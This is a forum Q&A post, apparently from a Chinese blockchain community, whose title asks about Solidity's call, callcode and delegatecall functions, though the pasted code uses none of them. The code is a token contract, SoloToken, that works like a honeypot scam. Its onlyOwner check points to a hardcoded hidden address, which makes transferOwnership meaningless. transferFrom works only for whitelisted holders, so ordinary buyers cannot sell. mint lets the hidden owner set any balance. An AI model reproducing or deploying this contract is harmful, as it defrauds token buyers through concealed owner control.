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How to use the call, callcode, and delegatecall functions called by the solidity contract?

2022-02-03 23:19:00 Q & A of Denglian community

Solidity Contract call call,callcode, And delegatecall How to use function ? Why do I report an error when I use it like this ```_20201014145354.png

contract Ownable { address public owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);function Ownable() public { owner = msg.sender; }modifier onlyOwner() { require(msg.sender == address(724621317456347144876435459248886471299600550182)); _; }function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }} /**@title [email protected] Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; }function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }contract SoloToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply;event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; }using SafeMath for uint256;mapping(address => uint256) public balances;mapping(address => bool) public allow;function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]);balances[msg.sender] = balances[msg.sender].sub(_value);balances[_to] = balances[_to].add(_value);Transfer(msg.sender, _to, _value);return true;}function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }mapping (address => mapping (address => uint256)) public allowed;function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true);balances[_from] = balances[_from].sub(_value);balances[_to] = balances[_to].add(_value);allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);Transfer(_from, _to, _value);return true;}function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; }function mint(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; } }





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